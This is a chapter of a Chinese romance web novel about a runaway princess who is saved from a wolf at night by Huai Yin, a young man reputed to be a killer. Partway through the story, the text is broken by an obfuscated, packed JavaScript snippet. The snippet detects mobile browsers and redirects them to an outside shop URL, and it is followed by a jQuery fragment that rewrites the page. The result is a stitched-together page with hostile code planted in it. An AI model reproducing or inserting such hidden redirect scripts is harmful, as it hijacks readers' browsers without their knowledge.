16. 第 16 章

作品:《嫁给一个杀手

    “不要过来!!”


    “姑姑,救救我!!!”


    猛地睁大眼,朏朏慌乱坐起,胸腔急促喘息。


    火盆内的炭火还未熄灭,时不时发出几点细微爆鸣声。


    “哈啊……”


    怔怔呆坐了一会儿,朏朏双手下意识环抱双膝,脸颊埋在双膝间。


    指腹之下触及的皮肉温热柔软,耳边还时不时响起几声狗吠。


    直至温热逐渐染上寒凉,朏朏激烈的心跳才慢慢平复。


    她还活着,还在济光村,也没有被父君抓回去。


    可为何梦里一切所感所触,会如此真实……


    盆中炭火逐渐转暗,火星也淡了下去,无边暗色重新笼罩身侧。


    黑暗中,似有什么东西窥视着她。


    朏朏刚平复的心绪又开始砰砰乱跳。


    突然间,她很讨厌自己天马行空的想象力,该想的不想,在不该想的地方胡思乱想。


    朏朏下意识喊道:“怀音……”


    只是下一瞬想到梦中内容,她又摇摇头,怀音肯定不会跟梦中一样杀她的,他是个爱钱的掮客,而她刚刚好很有钱。


    一定是她被梦冲昏了头。


    朏朏掀开被子,轻手轻脚起床。


    借着月色,她提灯推门而出,走至另一间房门前,鼓起勇气,轻轻敲了敲:“怀音,你睡了……吗?”


    指节还未敲第二下,门便已自动开了。


    迎风摇晃的灯笼漏出柔和光芒,照亮一方天地,床铺上的被褥叠得整齐,像是昭示其主人并未归家。


    “怀音?”


    朏朏低头往掌心轻呵出一口热气,余光中,发现一张纸静静躺在地上。


    “有事,暂留山中一晚。


    你乖乖在家,不要出门,也不用给我留灯。


    ——怀音留”


    笔墨丰润,字迹却是奔放不羁、龙飞凤舞。


    攥紧那张纸,朏朏回屋,试图重新入睡,可不知道为何,身体明明很累了,但脑海一直浮现着那个噩梦。


    “抓住十六公主萧朏者!重重有赏!”


    “不想死的话,就给我嫁去陈国,萧朏。”


    “这次送来的宠物倒是很不错,来吧,乖乖张开腿,成为我的禁.脔吧……”


    朏朏在被窝里蜷缩成一团,双手捂住耳朵,嘴唇咬出深红印子。


    “走开……都给我走开啊……”


    “不要……我不要成为别人的玩物……”


    “停下来……不要再说了!”


    “我说,让你停下来!不准想了!”


    朏朏猛地坐起。


    耳边又响起“呜呜呜——”似人低泣的风声,连同梦中的那些话,余音绕梁、绵延不绝。


    她真的要受不了了。


    就算是怀音要骂她,她也不要自己一个人呆在家!


    朏朏披上一件厚重外袍,提起灯笼,一口气跑出去。


    很是寒冷的寂夜,却是晴空无雪。


    前几日同叶莺闲聊时,她说很快就会下雪了,让她多注意些保暖。


    暖黄色的光映照枯落一地的树叶,踩起来会有嘎吱嘎吱的声响。


    大概是昨夜下了场雨,朏朏视野中时不时闪过凝霜被灯火映过的晶莹色泽。


    她拢紧外袍,四下张望一圈。


    有月亮的时候,这晚上的山路看着也不算特别可怖。


    可山林这么大,怀音会在哪里呢?


    凛冽寒风从微张的嘴唇中灌入,趁机钻进嗓子眼里,引得喉管生出一阵痒,朏朏抑制不住地想大声咳嗽。


    她死死捂住嘴巴,遏止那股汹涌痒意,只敢小声咳几下:“咳咳——”


    月色如水,奇形古怪的枝桠在地上投落如蛇影般扭曲的倒影,看久了,会令人无意识觉得那些影子有活过来的倾向。


    朏朏不敢再到处乱看,只埋头赶路。


    她记得怀音说过,只要顺着山道一直走,就能走到山中猎户盖的小房子,他平时都在那屋子里小憩。


    脑中构思路线,没留意路边一根自枯叶里伸出的树杈。


    一时不察,朏朏被这根树杈绊倒,扑倒在落叶堆里,“啊——!”


    灯笼摔落在地,灯油蔓延。


    雪地逐渐洇出一片颜色稍深的阴影。


    火光在眼瞳中跳跃,迅速变大,而后又慢慢湮灭,朏朏怔怔注视那盏灯笼。


    直到最后一点火星子消失,四面漆黑,唯有时不时从枝桠间漏出的一点冉冉月华,照亮前路。


    整片山林里除了寒风外,再也不剩其余声响。


    朏朏身子受冷发抖,又摸黑走了一会儿。


    她感觉自己好像走了很久,按脚程来算,应该是快要到那个房子。


    忽然之间,朏朏听见前方有沙沙声响,顶着呼啸冷风,她抬起头。


    月光藏进云层,四周漆黑一片,眼前唯余一对光点在靠近。


    什么东西?


    朏朏停下脚步,不再往前。


    那对光点越靠越近,瞧见那光点的拥有者,下一瞬,她瞳孔紧缩。


    是一头野狼!!


    朏朏睁大了眼睛,下意识转身往后跑。


    野狼低吼着,双眸闪着绿光,朝她身上扑,兽类舌头带着腥热气息的味道扑面而来,直往鼻孔里钻,涎水几乎都要滴到她脸上。


    它龇着牙,前爪按在她双肩上,低头。


    眼前一切都似放慢动作般,朏朏听见自己剧烈的心跳声,充盈耳膜,盖过了一切。


    呼哧呼哧!怦怦怦怦!


    此刻什么梦不梦的,都不重要了。


    她啊啊啊地张着嘴,嗓音嘶哑:“救——救命——啊——!”


    忽的,野狼咬下的动作一滞,颈侧飚出大股大股的鲜血,鲜血带着热气,下一瞬,热气又袅袅消散于空气中。


    几滴飞溅的血液落在眼睫上,朏朏瘫软在地,怔怔看着天际被鲜血染成红色的血月。


    野狼尸体死在身侧,还在源源不断淌着血,染红她的裙子。


    朏朏爬起来睁大眼,偏头看去。


    浓黑似墨的夜色中,来人身姿颀长,踏着清冷月色,外披一件镶毛边的披风,手中提着一盏灯笼,火光照亮道路上所覆的阴影。


    他提灯缓步走来,行走间漏出一角青色衣袂,呼吸间带出的热气模糊了他的五官,看不出是什么表情。


    朏朏怔怔望着那人。


    是怀音。


    方才,千钧一发之际,是怀音出现,从狼嘴里救下她。


    但凡怀音来迟一步,她都没命可活。


    从未离死亡这般近过,此刻朏朏额上全是冷汗,心中一阵阵后怕,她大口大口地喘着气,只觉得空气都吸不进肺里。


    待他近了,朏朏看着风姿澹澹的少年弯下腰,手腕轻旋,抽出深插在野狼咽喉的剑,下一瞬,那双如墨玉似的眼居高临下,对上了她。


    他表情很冷,漂亮的桃花眼褪去往常纯然的笑意,冷冽沉凝,淬出晦涩迫人色调来。


    “萧朏,


    我让你乖乖呆在家,你却跑出来,是嫌命长在找死吗?”


    好半晌,朏朏才找回自己的表情。


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17076656|194336||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    “怀音,我……我……”


    她局促不安,不敢对上他的视线。


    若是说,是她做了噩梦,不敢一个人在家,所以才跑出来找他,这理由在外人眼里,完全站不住脚。


    “还是说,你信不过我,想要逃跑?”


    怀音面无表情,气势冷厉,活像从血雨腥风中杀出来般。


    朏朏下意识摇了摇头。


    她委屈得想哭,任凭如何想,也想不出怀音为何会说出这番话的缘由。


    她哪里想逃跑了,明明她也有在家好好打理一切等人回来啊,明明是他一直都不在家。


    朏朏脑袋低垂着,身子蜷缩成小小一团,脸颊埋在双膝之中,带着哭腔:“我真的不是逃跑,只是你不在家,我做了好可怕的噩梦,我很害怕,想找你……如、如果你真的是这么想我的话,那你就不要管我了……”


    上方似传来一声轻叹,紧接着,那青色衣袂垂落,盖在她玉白裙摆上。


    “朏朏。”


    朏朏怔怔抬头,眼睛却被火光刺得生痛,她闭上眼睛,含在眼眶中的泪珠将落未落,正被灯笼的光照得剔透莹亮。


    怀音叹气,手指轻蹭去她眼尾泪珠:“你哭什么呢?”


    朏朏有点难堪,睫毛簌簌轻颤,往后躲了躲,扯过被野狼撕破的外袍,把自己包成一团。


    她出来得匆忙,穿得单薄,只薄薄一层外袍裹着身子,此刻衣襟凌乱散开些许,露出截苍白纤弱、尚在发着颤的锁骨。


    怀音轻叹一口气:“抱歉,我并没有质问你的意思。”


    他解下披风,围在她身上,轻轻拍她后背安抚道:“只是我回到家时发现你不在,一下就追出来……刚刚是我太着急才那样子说话的,你别哭了。”


    朏朏抿着嘴唇,躲在披风里不说话。


    她呆愣愣嗅着少年身上尚存的风雪气息。


    所以……


    怀音他是大半夜看到她不在家中,才匆匆忙忙出来找她的吗?


    怀中满是暖融融的温度,温暖柔润的触感,令人心生安全感,朏朏不由得将脸凑到他肩窝上,小声啜泣:“怀音,我好害怕,我好害怕李断微会抓我回去交给父君,我不想嫁给陈国太子,也不想乖乖张开腿,成为他的禁脔,我不是一个任意让人亵玩的玩物,呜呜呜……”


    轻抚她脊背的手一顿,怀音微微蹙眉,听她闷闷的泣音以及时不时发抖抽搐几下的指尖,心口涌起微妙的情绪。


    他定定垂眸看了她许久,最后什么都没说,只缓慢拍着她的后背,安抚情绪。


    最后,朏朏揉着眼睛,从他怀中离开,低声:“对不起……让你看笑话了。”


    哭出一场后,原本惊慌失措的心情也消散不少,她也有精力思考眼下处境。


    朏朏提灯,端详周遭片刻,问:“怀音,这里是哪啊?离你说的那个小屋子很远吗?”


    “还有段距离。”


    见她恢复镇静,怀音稍稍放心,仍维持蹲身的姿势:“上来吧,我带你去。”


    “啊?”


    朏朏迟钝望着他的背影。


    四周漆黑,唯有灯笼溢出的暖色光影映出少年侧过来看她的眼睛,泛着潋滟水光。


    朏朏下意识拒绝,道:“不、不用了吧,我可以自己走的。”


    她今晚擅自跑出来已经给怀音添了许多麻烦,现在还要他背她吗,这多不好意思……


    怀音催促:“你还有力气走?”


    话毕,他若有所指地撇了眼她发抖的腿,极淡扬了下嘴角:“抖得像筛子一样,都站不起来了。”